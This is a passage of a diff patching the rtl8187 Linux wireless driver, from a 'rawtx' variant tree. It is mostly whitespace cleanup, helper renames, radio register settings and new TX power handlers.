out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x9d); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-06-08 23:30:33.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,157 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +236,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +269,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +293,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +317,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +336,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = 